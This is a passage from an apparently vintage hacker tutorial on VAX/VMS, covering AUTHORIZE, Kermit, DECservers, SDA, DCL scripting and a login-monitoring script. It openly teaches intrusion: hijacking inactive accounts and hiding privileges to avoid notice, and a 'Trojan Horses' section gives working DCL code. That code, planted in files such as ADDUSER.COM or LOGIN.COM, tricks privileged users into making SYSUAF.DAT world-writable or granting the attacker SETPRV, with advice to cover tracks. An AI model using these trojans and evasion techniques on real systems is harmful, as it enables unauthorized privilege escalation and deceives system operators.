- requires at least the SYSPRV privilege. If you do not have this (or SETPRV)
- then you cannot execute this file. Assuming you have hacked out an account
- with the required privilege or you have via some mechanism boosted your privs,
- then this is how to start up AUTHORIZE:
-
- $sd sys$system
- $run authorize
-
-
- This will return you with the UAF prompt:
-
- UAF>
-
- At this point you can make modifications to the User Authorization File (UAF).
- It should be noted that the two files that this program accesses are SYSUAF.DAT
- and RIGHTSLIST.DAT, and both of these are found in the SYS$SYSTEM directory.
- First, heres the quick and dirty way to create a new user:
-
- UAF> add username /password=whatever/priv=setprv
-
- This is basically the minimum requirements for creating a high-privileged user
- on a system. Of course, you should try and avoid adding new users in where
- possible. It is a much better idea to try and find an INACTIVE user who hasn't
- logged in for quite a while and change their password to whatever you want.
- This way, any system operator will not get suspicious because of a new
- username. In addition, when granting privileges to either your own user, or
- modifying some other user, you should NEVER give them ALL privs. The reason is
- simple: IT STANDS OUT! Anybody going through the sysuaf database can
- immediately pick out such accounts, and you will be found out very quickly. If
- you must give all privs then the better way is to simply grant the SETPRV
- privilege as the normal privilege. (do not assign it as a default however) The
- reason for this is that this will not stand out as much. By not assigning it
- as a default, if the real user happens to log in for any reason, they will not
- see it as one of their privs when performing a SHOW PROC/PRIV. The only way to
- activate your hidden privileges is by issuing:
-
- $set proc/priv=all
-
-
- Here I will briefly outline the commands you can perform from UAF:
-
- Command Description
- -------------------------------------------------------------------------------
- ADD !This as you know will add a new user. You may specify many qualifiers
- !when creating the account. See the online HELP for further information.
- COPY !Allows you to copy any record in the UAF to a new user.
- CREATE !Allows you to create either the RIGHTSLIST.DAT or NETUAF.DAT files if
- !they don't already exist.
- DEFAULT!Allows you to change any item in the DEFAULT record in SYSUAF.DAT
- EXIT !Terminate authorize and go back to the VMS shell.
- GRANT !Grants an identifier name to a user UIC
- LIST !Makes a listing file (SYSUAF.LIS) which gives information on the records
- !specified. MODIFY !Allows you to modify an existing user. see below for
- further discussion REMOVE !This allows you to delete an existing user record
- RENAME !This allows you to change the username of a record REVOKE !Revokes an
- identifier name from a username or UIC identifier SHOW !Allows you to view the
- records in SYSUAF.DAT, RIGHTSLIST.DAT and !NETUAF.DAT
- -------------------------------------------------------------------------------
-
- The commands you will be using most from here are SHOW and MODIFY. Show can be
- used to isolate INACTIVE accounts (based on last login), failed login attempts
- etc. The MODIFY command will let you change any characteristic in any of the
- records. Below I will give a short discussion on some of the more important
- qualifiers that can be specified. Note that exactly the same thing applies to
- the ADD command:
-
- /ACCESS -if the account is set up for no remote access or whatever, just
- include this qualifier (no parameters) to gain FULL access.
- /DEFPRIV -your default privileges. These are the privileges that are active
- upon login
- /DIR -the directory assigned to you upon login. ie. SYS$LOGIN
- /DEVICE -the drive that the directory is in.
- /FLAGS -this is an important one! You can specify things such as CAPTIVE
- accounts, NODISUSER, and many others.
- /LGICMD -the file that is executed upon login. Normal setting would be
- /LGICMD=login.com
- /PASSWORD-primary password
- /PRIORITY-CPU priority. Normal setting is 4
- /PRIV -your assigned privileges. Should NOT use ALL, very conspicuous.
- /PWDMIN -minimum password length
- /UIC -User Identification Code
-
-
- On most systems you will find a file called ADDUSER.COM which allows the system
- manager to create new users. It is a DCL file which simplifies the task of
- creating new users by prompting you for all the necessary parameters. If this
- file does not exist on the system, here I have outlined the manual method of
- creating a new user (this is the FULL setup):
-
- $sd sys$system
- $run diskquota
-
- NOTE: All variables that you must enter are in square brackets, eg. [uic]
-
- QUOTA>add [uic] /perm=[quota]/overdraft=[overdraft]
-
- Basically this sets up how much disk space is allotted to the user. The quota
- usually ranges from 1000 blocks to 100000 blocks. The overdraft is usually 10%
- of the quota. A good setting to keep this at is around 20000 for the quota.
-
- $create/dir/owner=[uic]/prot=(s,o=rwed,g,w) [directory]/log
-
- This will add in your directory and set its protections.
-
- $run authorize
-
- UAF> add [username]/own=[fullname]/acco=[account]/dev=[device]/dir=[directory]-
- /uic=[uic],[privs]/passw=[password]
-
- The items here are:
- username -the name you will use on the system, eg. SMITHJ
- fullname -your actual name, eg John Smith. (of course you don't use your REAL
- name!!)
- account -your account name, usually used for billing purposes
- device -the drive that contains your directory
- directory -your login directory. Best to keep an existing one
- uic -your UIC remember format: [group,member]
- password -your account password. You can enter whatever you want here
- privs -your account privileges. Normal is TMPMBX and NETMBX. If you must
- then specify SETPRV to give you full access to the system
-
- That ties up this section. For further information about a specific qualifier
- just type HELP from the UAF> prompt.
-
- KERMIT
- ------
-
- Kermit is a file transfer program found on most VAX systems. It allows the
- transfer of files over terminal lines from a remote KERMIT program to the local
- KERMIT program. Invoking Kermit can be done in several ways depending on the
- system. Usually the file is located in the SYS$SYSTEM directory. The usual
- method to start kermit is:
-
- $kermit
-
- NOTE: some machines it may be KERMIT-32 or some other variation.
-
- This may vary on different machines, you may have to RUN the file, or it may
- have to be passed parameters such as KERMIT 1200 or KERMIT 2400. In any case
- once you have initiated the program, you should get a kermit prompt:
-
- KERMIT>
-
- Here you can issue several different commands. Following is a list with brief
- explanations:
-
-
- COMMAND DESCRIPTION
- -------------------------------------------------------------------------------
- connect !connects you to a virtual terminal, issue AT commands from here.
- exit !return to DCL
- quit !return to DCL. Same as above
- receive !Single file download from another machine
- get !identical to receive
- bye !terminates a transaction with another kermit in server mode
- finish !same as above but doesn't exit to DCL
- send !Send a file to another machine
- server !causes kermit to enter server mode
- set !set parameters such as parity, delay etc
- show !show the parameters set up currently
- status !current status such as number of bytes transmitted etc
- [spawn] !spawn a subprocess
- [local] !enter VMS commands
- -------------------------------------------------------------------------------
-
- The last two commands (in brackets) are not always found on every system, but
- briefly they allow you to spawn a subprocess (often useful when you are tied up
- in a non-breakable account) and local which can again be used to spawn or issue
- other DCL commands. There are often other commands, varying on what version of
- KERMIT is being run. One important note is that SPAWN cannot be issued from a
- CAPTIVE account, but LOCAL (or an equivalent) can. However, if the system
- manager is smart he may set up the UAF record to specify that only one process
- can be active with that account at any one time. If this is the case it will
- give you a message telling you that you have exceeded the quota allocated. The
- only way around it is to actually modify the record in SYSUAF.DAT Obviously the
- important commands are SEND,RECEIVE and CONNECT. Once you issue CONNECT, you
- can dial out long distance or whatever, just by using regular AT commands.
- SEND and RECEIVE are self explanatory so I wont go into them.
-
-
- DECSERVERS
- ----------
-
- This deserves a little bit of attention also. Basically DECservers allow the
- the user to easily switch between various nodes in a cluster. Unless you are
- logging in directly to a terminal, you will usually not encounter this. If you
- do, heres what you will see:
-
- Enter Username>
-
- Or something of the like. At this point you should just type A or C or
- whatever else. It is just a terminal identifier and means absolutely nothing.
- At this point you will get a prompt such as:
-
- LOCAL>
-
- Here you can do a limited number of commands. The important ones are:
-
- LOCAL> show users
-
- This will show the users on the DECserver, and what machines they are connected
- to etc. To view all the machines on the server, type:
-
- LOCAL> show nodes
-
- This will present a list of the callable nodes. To connect to any one of these
- you would issue a command such as:
-
- LOCAL> connect SBSU
-
- This is assuming the nodename was SBSU. That's basically all there is to the
- DECservers. The other commands are really not that useful to the beginning VAX
- hacker but can nonetheless be referenced by typing HELP at the LOCAL prompt.
-
-
- SYSTEM DUMP ANALYZER
- --------------------
-
- Although the SDA is not really for beginners, it is such an important topic
- that I thought I would give a really brief overview of what it is all about.
- Basically to call up SDA, type:
-
- $analyze/system
-
- This will return you with the prompt:
-
- SDA>
-
- At this point you can do many great things. Oh, before I continue, it should
- be noted that you need CMKRNL privilege in order to run this program. In any
- case, once you get the SDA prompt, there are several interesting things you can
- do. Basically, SDA is a watching tool. It lets you keep track of what other
- processes on the system are doing. To get information on another process just
- type:
-
- SDA> show process [username]
-
- you should put in a person who is logged in where I have put the [username]
- variable. This will give you a page of useful information on that specific
- process. The interesting thing is that with the SDA, you can access any part
- of memory, unlike EXAMINE from DCL. You can for example get the PCB address
- for a process and then go in and either view or modify things such as privs,
- priority etc. You can also view other processes type-ahead buffers, and see
- what they are doing. Like I stated earlier, this is a relatively advanced
- topic and doesn't fit well into a beginners file, so I will leave it at this,
- but here I will provide a diagram of the PCB block so that you can see which
- bytes do what:
-
-
- - SOFTWARE PCB DETAILED LAYOUT -
-
- BLOCK 1 BLOCK 2
-
- +---------------+ +---------------+
- :pcb$l_sqfl ! ! ! !:pcb$t_terminal
- +---------------+ ! !
- :pcb$l_sqbl ! ! +---------------+
- +---+---+-------+ ! ! :pcb$l_pqb
- :pcb$b_type ! ! ! ! :pcb$w_size +---------------+
- pcb$b_pri +---+---+---+---+ ! ! :pcb$l_efcs
- :pcb$w_mtxcnt ! ! ! ! :pcb$b_astact +---------------+
- +-------+---+---+ pcb$b_asten ! ! :pcb$l_efc2p
- :pcb$l_astqfl ! ! +---------------+
- +---------------+ ! ! :pcb$l_efc3p
- :pcb$l_astqbl ! ! +---------------+
- +---------------+ ! ! :pcb$l_pid
- :pcb$l_phypcb ! ! +---------------+
- +---------------+ ! ! :pcb$l_phd
- :pcb$l_owner ! ! +---------------+
- +---------------+ ! ! :pcb$t_lname
- :pcb$l_wsswp ! ! ! !
- +---------------+ ! !
- :pcb$l_sts ! ! +---------------+
- +---------------+ ! ! :pcb$l_jib
- :pcb$lwtime ! ! +---------------+
- +---+---+-------+ ! ! :pcb$q_priv
- :pcb$b_wefc ! ! ! ! :pcb$w_state ! !
- pcb$b_prib +---+---+-------+ +---------------+
- :pcb$w_tmbu ! ! ! :pcb$w_aptcnt ! ! :pcb$l_arb
- +-------+-------+ +---------------+
- :pcb$w_ppgcnt ! ! ! :pcb$w_gpgcnt ! ! :pcb$l_uic
- +-------+-------+ +---------------+
- :pcb$w_biocnt ! ! ! :pcb$w_astcnt ! ! :pcb$l_lockqfl
- +-------+-------+ +---------------+
- :pcb$w_diocnt ! ! ! :pcb$w_biolm ! ! :pcb$l_lockqbl
- +-------+-------+ +---------------+
- :pcb$w_prccnt ! ! ! :pcb$w_diolm ! ! :pcb$l_dlckpri
- +-------+-------+ +---------------+
-
- NOTE: BLOCK 2 is just a continuation of BLOCK 1. The PCB is the Process
- Control Block which is assigned to each process. It holds all the
- relevant information for the particular process. The address for
- the PCB is shown when you execute the SHOW PROCESS <user> from SDA
-
- Note that when you are examining memory you can specify addresses in two ways:
-
- 1) locationA:locationB -from locationA to locationB
- 2) locationA;numbytes -from locationA to locationA+numbytes
-
- FURTHER HELP
- ------------
-
- Like I have stressed throughout this file, the best way to learn about VMS is
- to use the ONLINE HELP that is available on virtually every VAX. You may have
- also noticed that certain programs such as MAIL have self-contained help which
- is not seemingly accessible from the normal HELP. So how do you get that
- information?! Well, all the extra help files for programs such as MAIL, SDA,
- AUTHORIZE, etc are all stored in the SYS$HELP directory. The only problem is
- that they are not in very human readable form. To get a properly formatted
- text output you can use the LIBRARY command. Here is an example that dumps all
- the help file on SDA into a file called SDA.HLP in your directory:
-
- $library/extract=(*)/output=sys$login:sda sys$help:sda.hlb
-
- Now to explain this line. The library program will extract the SDA help file
- (sys$help:sda.hlb) and put it into your login directory (sys$login:sda.hlp).
- Where I have put the (*), you can alternatively put any number of commands that
- you may want referenced. The (*) will dump ALL the commands into the help file
- For example to ONLY get the SHOW command and its qualifiers (for SDA) into a
- file, you may try something like:
-
- $library/extract=(show)/output=sys$login:sda_show sys$help:sda.hlb
-
- Since the files generated from this command is standard ASCII, you can read
- these help files with the TYPE command, ie.
-
- $type sys$login:sda.hlp
-
- The same method can be utilized for any of the other commands to which you
- normally do not have access, eg. AUTHORIZE, SDA etc. This way you can learn
- and understand the command without necessarily having the privilege of reading
- it in the first place. Of course I recommend that you read both the AUTHORIZE
- and SDA files since they are probably the most useful files in the bunch. To
- get a list of the other help files, just do:
-
- $dir sys$help:*.hlb
-
- Then you can specify any of the listed files in the LIBRARY command. If you
- create these files, just make sure you delete them, once you are through with
- using them, especially if they are in someone elses ACTIVE account.
-
-
-
- TROJAN HORSES
- -------------
-
- Lets suppose you have done all you can in trying to gain privileges, and you
- have neither come up with a high level account, or any mechanism of boosting
- your privs. Now what? Well the following methods I will describe should be able
- to net you more privileges but there is one small problem. These methods
- usually involve modifying or creating new files in certain places. If the
- system manager were to notice such a file, he could simply perform a DIR/OWNER
- and would know which account someone was hacking on, and he would no doubt
- change the password or kill the account. Now this is an IF situation. Although
- theres a good chance you will get away with it, you still have that risk factor
- that says that you may very well lose this particular VAX. So if this is the
- only VAX that you have access to, and you are still in the learning process,
- don't try these techniques. Once you have learned the operating system well
- enough and feel that you can afford to lose the VAX if worst comes to worse
- then you can proceed with these time honoured techniques:
-
- Ok so what is a trojan horse? Based on the original definitions for such
- programs, a trojan is simply a file that you have someone execute which
- performs some arbitrary task unbeknownst to the user. Of course there are the
- typical trojan programs that go through the logon sequence and try and procure
- user/password combinations. This is fine, but what about other methods? Its
- fine for getting more accounts, some which may be possibly privileged, but you
- still aren't guaranteed to get a good account. So what do you do?! Well, as
- everyone should know by now, the easiest way to get more privileges is to give
- them to your user via the AUTHORIZE program. The problem is that on all VAXes,
- the SYSUAF.DAT file is read/write protected and on some even the AUTHORIZE file
- itself is protected. The key is to unlock these files, so that they can be
- accessed through the WORLD protection field. The easiest way to do this is to
- have a privileged user unwittingly do the dirty deed for you. Here I will
- describe a few methods of accomplishing such a task.
-
- The key here is to find a COM file that the users often use. This could be
- anything from some simple utility to a full featured DCL program such as
- ADDUSER.COM. What I usually do is search through the system symbols (SHOW
- SYMBOL *) and logical table (SHOW LOGICAL) for definitions that are executed
- via COM files. Often you will find in the symbol table some weird utility
- like NOTES that everybody executes. Lets assume you have found a prospective
- program. The next thing to check is to see if you write access to the
- direcotry in which this file resides. If you have READ access also, then you
- can simply put in your TROJAN coding right within the main program (after
- saving the original copy somewhere safe). If you don't have read access, then
- you can create a program with the same filename. Since your program will have
- a higher version number, it will get executed instead of the original program.
- Then you perform your deed and delete the TROJAN and continue on and execute
- the real COM file. Here is an example, which is a fragment of a DCL routine
- but can easily be changed to fit inside another routine.
-
-
- $ pre_prvs=f$setprv("setprv")
- $ if f$privilege("setprv") then goto fix
- $ @notes.com;55
- $ fix:
- $ set prot sys$system:sysuaf.dat/prot=(w:rwed)
- $ set prot sys$system:authorize.exe/prot=(w:rwed)
- $ pre_prvs=f$setprv(pre_prvs)
- $ @notes.com;55
-
-
- In this example we have created another file called notes.com;56 in the proper
- directory. Whenever someone types in NOTES this file gets executed instead of
- the original. When control is passed here, it checks if the user has SETPRV
- privilege. If he doesn't, it continues on with the normal program
- (NOTES.COM;55) If the user has the SETPRV privilege, you have the program
- change the protection on SYSUAF.DAT and AUTHORIZE.EXE to full World Access.
- This means that you can now run AUTHORIZE from ANY ACCOUNT no matter how lowly
- it is!!! Is that awesome or what?! Once the protection has been changed, you
- can erase the notes.com;56 file and no one will ever know anything happened!
- Similarly if you modified the actual DCL program, then you just copy back the
- original. Remember its extremely important to tidy up after yourself once you
- are done!
-
- Here is another example, which you may want to try. First of course you MUST
- check for the privileges of the user (just like in the above program), then
- try:
-
- $open/write file sys$scratch:adduaf.tmp
- $write file "$ RUN SYS$SYSTEM:AUTHORIZE"
- $write file "MODIFY NAME/PRIV=SETPRV"
- $close file
- $@sys$scratch:adduaf.tmp/output=sys$scratch:adduaf.dat
- $del sys$scratch:adduaf.*;*
-
-
- This little patch in the coding will modify your own users privileges and give
- them SETPRV when the superuser executes this routine. The trick is to hide it
- within some other program so he doesn't even realize he has done anything! Of
- course after the routine has been successfully executed, the original coding
- should be put back. There are many places you can put this routine, including
- ADDUSER.COM (if you have write access)! That would mean, every time the
- system manager went to add a new user, he would also boost your privs! HaHa,
- quite ironic eh?! The farthest thing that he wants to do, and you make him do
- it without even realizing. Of course you should use your imagination and put
- this or a similar routine in a place where it will be quickly executed. The
- longer the code stays around without being execute, the more chance that it
- will be discovered. An optimum program would be something that the
- users/operators execute frequently (eg notes, mail, phone etc) Other good
- places are the LOGIN.COM and SYLOGIN.COM files. Just remember to cover your
- tracks once you're done!!
-
- This is but a brief introduction to Trojans and the like. You should use your
- own imagination to come up with other ways of making the system operators
- succumb to your wishes...heh heh.
-
-
- DCL PROGRAMMING
- ---------------
-
- No file would be complete without at least mentioning programming Command
- Procedures. Basically, these are like BAT files from MS-DOS or script files
- from UNIX. They form a rudimentary but powerful language that allows you to
- quickly create small programs to handle most simple tasks. This section is not
- intended to be a a full blown tutorial on programming in DCL, rather its an
- introduction to what it is all about.
- It is quite easy to pick up programming in DCL and the best way to learn is to
- have a look at some of the COM files you will find on the various VAXes that
- you hack on. By studying these, you can quickly learn the methods on how to
- perform
- certain routines. Below I have listed some of the commonly needed routines
- when programming in DCL:
-
-
- PASSING PARAMETERS
-
- Parameters can be passed to DCL programs directly from the shell in several
- ways. Here are a few examples:
-
- (1) @sample 24 25
-
- When you execute this, the values 24 and 25 are passed to the sample.com
- file in the variables p1 and p2 respectively. ie p1=24, p2=25
-
- (2) @sample Paul Cramer
-
- p1=PAUL, p2=CRAMER
-
- (3) @sample "Paul Cramer"
-
- p1=Paul, p2=Cramer
-
- (4) name= "Paul Cramer"
- @sample 'name'
-
- This example demonstrates the method of passing predefined variables to a
- command procedure. In this case, p1=PAUL, p2=CRAMER
-
- (5) name ="""Paul Cramer"""
- @sample 'name'
-
- Note that passing the variable in three double-quotes preserves the case.
- p1=Paul, p2=Cramer
-
-
-
- GETTING INPUT
-
- Often it is necessary to get some sort of input from the user when executing
- a command procedure. This is performed through the INQUIRE command. Some
- examples follow:
-
- (1) INQUIRE variable "prompt"
-
- This will display the 'prompt' message and then wait for input. The string
- passed is kept in 'variable'
-
- (2) INQUIRE/NOPUNC variable "prompt"
-
- When you specify /NOPUNC, the prompt will NOT be followed by a colon and
- space as is the default.
-
- (3) INQUIRE/LOCAL variable "prompt"
- INQUIRE/GLOBAL variable "prompt"
-
- It should be noted that if you specify /LOCAL, the variable will remain in
- the local symbol table accessible only by this particular COM file. If on
- the other hand, you specify /GLOBAL, the variable is placed in the global
- symbol table and is made accessible to other files.
-
- (4) IF pn .eqs. "" THEN INQUIRE pn "prompt"
-
- You can use this method to check if a certain variable (pn in this case) is
- null or not. If it is, you can ask for input.
-
- (5) READ/PROMPT="prompt" SYS$COMMAND variable
-
- This is another method of getting input.
-
-
-
- SUPPLY INPUT FOR A PROGRAM
-
- Often you may need to create a file and get input from some outside source.
- Again there are several ways of doing this. Here I will outline three
- different methods:
-
- FROM DATA :- CREATE TEST.DAT
- data line 1
- data line 2
- :
- :
- etc etc
-
- FROM TERMINAL :- DEFINE/USER_MODE SYS$INPUT SYS$COMMAND
- CREATE TEST.DAT
-
- FROM A FILE :- DEFINE/USER_MODE SYS$INPUT TEST.INPUT
- CREATE TEST.FILE
-
-
- OUTPUTTING INFORMATION
-
- In general when outputting information, you should always send it to SYS$OUTPUT
- What this does is automatically write to whatever the user has defined as
- SYS$OUTPUT. It doesn't matter what type of terminal or whatever it is, but it
- will send it in the correct format. Some examples follow:
-
- (1) WRITE SYS$OUTPUT "literal text"
-
- This will print 'literal text' on your terminal.
-
- (2) WRITE SYS$OUTPUT symbol-name
-
- This will print on your terminal whatever value is held in symbol-name
-
- (3) WRITE SYS$OUTPUT "literal text ''symbol-name' literal text"
-
- This example shows how you can mix in normal text with a variable and
- follow it by more text.
-
- (4) TYPE SYS$INPUT
- this is a sample message
- that is spread out over
- several lines.
-
- You would use this method whenever there are more than a few lines of text
- to be printed.
-
-
-
- WRITING TO A FILE
-
- You will find that many times when writing a COMmand procedure you will need to
- save certain information to a file. This can be accomplished with a routine
- similar to:
-
- OPEN/WRITE FILE TEST.DAT
- WRITE:
- INQUIRE DATA "Input Data"
- IF DATA .EQS. "" THEN GOTO DONE
- WRITE FILE DATA
- GOTO WRITE
- DONE:
- CLOSE FILE
-
- I will give a quick breakdown of what is going on here. First you open the
- file that you want, including the /WRITE qualifier followed by the filename.
- This sample program simply inputs data, writes each line to a file and exits
- when the user hits RETURN on a blank line. Simple but effective text input
- facility.
-
-
-
- READING A FILE
-
- Once you have written a file, you will often need to read that information back
- in again. For example you may keep track of when the person last ran the file.
- Each time the file is run, you would save the time/date to a file, and then
- read it back in, and display it on each subsequent execution. The sample
- structure of a read routine would be:
-
- OPEN/READ FILE TEST.DAT
- READ:
- READ/END_OF_FILE=DONE FILE DATA
- .
- .
- .
- GOTO READ
- DONE:
- CLOSE FILE
-
- This routine would loop and keep reading a file, one line at a time, storing
- the information in DATA until the end of file is detected.
-
-
-
- CONDITIONAL LOGIC
-
- No programming language would be complete without the ability to perform logic.
- Although it is very simplistic, it provides just enough power to handle most
- simple conditions. Some examples:
-
- (1) IF p1 .EQS. "" THEN GOTO DEFAULT
-
- In this example the procedure checks to see if the parameter passed in p1
- is NULL or not. If it is then the program branches to DEFAULT
-
- (2) IF p1 .NES. 10 THEN GOTO end_label
- .
- .
- .
- END_LABEL:
-
- Here we see that if p1 does not equal 10 then the program branches to
- END_LABEL, otherwise it continues.
-
- (3) COUNT = 0
- LOOP:
- COUNT=COUNT+1
- .
- .
- .
- IF COUNT .LE. 10 THEN GOTO LOOP
- EXIT
-
-
- This example shows how to establish a loop in a command procedure, using
- the symbol COUNT and an IF statement. The IF statement checks the value
- of COUNT and performs an EXIT when the value is greater than 10
-
-
- EXPRESSIONS
-
- The data operations and comparisons are listed below in order of precedence
- beginning with the highest (operations and comparisons grouped together in the
- table have the same precedence).
-
-
- +--------+---------------------------------------------------------+
- Operator Description
- +--------+---------------------------------------------------------+
- + Indicates a positive number
- - Indicates a negative number
- +--------+---------------------------------------------------------+
- * Multiplies two numbers
- / Divides two numbers
- +--------+---------------------------------------------------------+
- + (1) Adds two numbers
- (2) Concatenates two character strings
- - (1) Subtracts two numbers
- (2) Subtracts two character strings
- +--------+---------------------------------------------------------+
- .EQS. Tests if two character strings are equal
- .GES. Tests if first character string is greater than or equal
- .GTS. Tests if first character string is greater than
- .LES. Tests if first character string is less than or equal
- .LTS. Tests if first character string is less than
- .NES. Tests if two character strings are not equal
- .EQ. Tests if two numbers are equal
- .GE. Tests if first number is greater than or equal to
- .GT. Tests if first number is greater than
- .LE. Tests if first number is less than or equal to
- .LT. Tests if first number is less than
- .NE. Tests if two numbers are not equal
- +--------+---------------------------------------------------------+
- .NOT. Logically negates a number
- +--------+---------------------------------------------------------+
- .AND. Combines two numbers with a logical AND
- +--------+---------------------------------------------------------+
- .OR. Combines two numbers with a logical OR
- +--------+---------------------------------------------------------+
-
-
-
-
- LEXICAL FUNCTIONS
- -----------------
-
- That concludes the introduction to DCL programming. One thing that you should
- keep in mind is that many powerful string editing and environment information
- commands can be accessed from COM files. These are called the LEXICAL
- functions There are too numerous to list them all here, so I will just provide
- a summary of the primary lexical functions and a brief description:
-
-
-
- LEXICAL DESCRIPTION
- -------------+------------------------------------------------------------------
- f$cvsi !converts character string data (signed value) to an integer
- f$cvtime !retrieves information about an absolute, combination, or delta
- time
- f$cvui !converts character string data (unsigned value) to an integer
- f$directory !returns the current default directory name string
- f$edit !edits a character string based on the edits specified
- f$element !extracts an element from a string in which the elements are
- !separated by a specified delimiter
- f$environment!obtains information about the DCL command environment
- f$extract !extracts a substring from a character string expression
- f$fao !converts the control string to an ASCII string
- f$file_attrib!returns attribute information for a specified file
- f$getdvi !returns parameters for a specified device
- f$getjpi !returns accounting, status and identification info for a process
- f$getsyi !returns status and identification information about local or
- !remote nodes.
- f$identifer !converts an identifier in named format to its integer equivalent
- f$integer !returns the integer equivalent of the result of an expression
- f$locate !locates a character substring within a string and returns its
- !offset within the string
- f$logical !translates a logical name and returns the equivalence name string
- f$message !returns the message text associated with a system status code
- f$mode !shows the mode in which the process is executing
- f$parse !parses a file spec and returns either the expanded file spec or
- !a particular field that you specify
- f$pid !for each invocation, returns the next PID in sequence
- f$privilege !returns a value of TRUE or FALSE depending on whether your
- !process privileges match the privileges listed in the argument
- f$process !returns the current process name string
- f$search !searches the directory and returns the full file spec for any
- file
- f$setprv !sets the specified privileges and returns the previous state
- f$string !returns the string equivalent of the result of the specified
- !expression
- f$time !returns the data and time of day in format: dd-mm-yy hh:mm:ss.cc
- f$trnlnm !translates a logical name and returns the equivalent name string
- f$type !determines the data type of a symbol
- f$user !returns the current user identification code (UIC)
- f$verify !set or read current command procedure state
- -------------+-----------------------------------------------------------------
-
- This list just outlines the main lexical functions. Within each function there
- may be many more subfunctions. If you need help on any of these functions or
- their subfunctions, just type HELP lexical [lexicalname] at any DCL prompt ($)
-
-
-
- ERROR MESSAGES
- --------------
-
- Occasionally when you are using DCL, you will come across error messages that
- are sent to you by the VAX. Here I will give a break down of what the
- different fields in the message represent and how to interpret them. First of
- all, the general format of an error message is:
-
- %facility-l-ident, text
-
- NOTE: not all messages are ERROR messages. Often it is only an informational
- message telling you that a certain task was successful or whatever. In
- any case here is what each field means:
-
- facility -this is the name of the facility that produced the error (for
- example, CLI for the Command Language Interpreter).
-
- l -this is a one letter code indicating the severity of the error.
- The severities are:
-
- I - Informational E - Error
- S - Success F - Severe error
- W - Warning
-
- ident -this is an abbreviation for the message text.
-
- text -this is a short description of the nature of the error.
-
-
- Here is an example of an error message, and how to interpret it:
-
- %SYSTEM-F-NOCMKRNL, operation requires CMKRNL privilege
-
- The percent sign in the beginning tells you it is a system message from the VAX
- the first field (SYSTEM) indicates that it is a SYSTEM error. The second field
- (F) shows that it is a severe error. The third field (NOCMKRNL) is a short
- abbreviation showing that you do not have the CMKRNL privilege, and the actual
- text is followed giving the error in detail, explaining that you MUST have the
- CMKRNL privilege to perform that particular command.
-
- SAMPLE PROGRAMS
- ---------------
-
- Here I present two sample programs. One is the STEALTH assembly language
- program that allows you to hide from SHOW USER. The other program is a DCL
- COM file that allows you to keep track of who is logging on and off.
-
-
- WATCHDOG.COM
- ------------
-
- Instead of typing the program into the VAX manually, you can just cut this
- program out in your favorite text editor and save it to a file. Then at the DCL
- ($) prompt type:
-
- $create watchdog.com
-
- Then transmit this file over your buffer. After the file is transmitted, hit
- CTRL-Z. This will bring you back to the DCL prompt. At this point you can now
- use this file. To enable watchdog, type:
-
- $@watchdog
-
- Basically I wanted to present a COM file to give you an idea of how one works.
- I have tried to throw in a lot of the different techniques that you can use
- from COM files into this one example. In addition to providing you with a
- good example of how COM files can be manipulated, this program also serves as
- a valuable utility that you can use to monitor the system that you are on.
- The idea behind watchdog is to keep track of all the people who are logging in
- or out of the system. This can be a very handy tool to keep a watch out for
- system operators etc. The nice thing about this program is that it runs in the
- background, so that you can continue to do whatever you want. You should note
- how I go about creating another file (watch.com) from within the main watchdog
- program. This of course wasn't necessary since I could have put the whole thing
- into one file and you could just as easily type: spawn/nowait @watchdog, but
- like I stated earlier, the intention is to give a short tutorial on some of the
- techniques that you can employ. I have also used several lexicals within the
- program to give you an idea of how you can use them within your own creations.
-
- NOTE: you can terminate WATCHDOG at any time by hitting CTRL-Y, and restart it
- using: @watchdog
-
-
-
- ---------------------------------- cut here -----------------------------------
-
- $ !WATCHDOG.COM by ENTITY /CCC!
- $ !Usage: @watchdog
- $ !
- $ !This handy little utility runs in the background, freeing you to perform
- $ !other tasks, while at the same time keeping track of who is logging ON or
- OFF
- $ !the system. It is a simple demonstration of how powerful DCL programming can
- $ !be when it is used together with the lexical functions.
- $ !
- $ !CTRL-Y will terminate the WATCHDOG subprocess at any time. The program
- $ !also automatically terminates when you log off.
- $ !
- $ create watch.com
- $ deck
- $ on control_y then goto terminate
- $ del watch.com;*
- $ w := write sys$output
- $ node = f$getsyi("nodename")
- $ cpu = f$extract(1,3,f$getsyi("node_hwtype"))
- $ version = f$getsyi("version")
- $ boot = f$extract(0,17,f$getsyi("boottime"))
- $ w "WATCHDOG on ''node' VAX-11/''cpu' VMS ''version'"
- $ w "Up since ''boot' (c) 1989 Entity"
- $ list = "watch1.dat"
- $ gosub file_io
- $ c1 = c
- $ loop:
- $ list = "watch2.dat"
- $ gosub file_io
- $ c2 = c
- $ if c1 .eq. c2 then goto loop
- $ if c2 .gt. c1 then goto newuser
- $ file = "watch1.dat"
- $ file2 = "watch2.dat"
- $ gosub compare
- $ w "--- ''a' --- ''timelog' "
- $ goto loop
- $ newuser:
- $ file = "watch2.dat"
- $ file2 = "watch1.dat"
- $ gosub compare
- $ w "+++ ''a' +++ ''timelog' "
- $ goto loop
- $ !
- $ ! Construct a UserList of processes currently logged in
- $ !
- $ file_io:
- $ c = 0
- $ sho users/output = watch.dat
- $ open/share/read in watch.dat
- $ open/share/write out 'list'
- $ read in a
- $ read in a
- $ read in a
- $ lp01:
- $ read/end_of_file=fin1 in a
- $ write out a
- $ c = c + 1
- $ goto lp01
- $ fin1:
- $ close in/nolog
- $ close out/nolog
- $ purge watch.dat
- $ purge 'list'
- $ return
- $ !
- $ ! Get a formatted output of the current TIME and DATE of LOGIN/LOGOUT
- $ !
- $ gettime:
- $ temp = f$extract(3,3,f$time ())+" "+f$extract(0,2,f$time())+","
- $ temp = temp + f$extract(7,4,f$time())+" "+f$extract(12,5,f$time())
- $ timelog = f$cvtime("today",,"weekday")+" "+temp
- $ return
- $ !
- $ ! Compare the Userlist to a previous listing
- $ !
- $ compare:
- $ open/share/read in 'file'
- $ lp02:
- $ read/end_of_file=fin2 in a
- $ a=f$fao("!12AS",a)
- $ set message/noid/nofac/notext/nosev
- $ search 'file2' 'a'
- $ chk = $severity
- $ set message/id/sev/fac/text
- $ if chk .eqs. "1" then goto lp02
- $ fin2:
- $ close in/nolog
- $ gosub gettime
- $ c1 = c2
- $ copy watch2.dat watch1.dat
- $ purge watch1.dat
- $ return
- $ !
- $ ! Terminate process and cleanup.
- $ !
- $ terminate:
- $ w "USER TERMINATION OF WATCHDOG!"
- $ set message/nofac/noid/notext/nosev
- $ del watch*.dat;*
- $ set message/fac/id/text/sev
- $ pid = f$getjpi("","PID")
- $ stop/id='pid'
- $ eod
- $ spawn/nowait @watch.com
- $ exit
-
- ---------------------------------- cut here -----------------------------------
-
-
- NOTE: Notice the little trick that I employ on the 16th line of the DCL file:
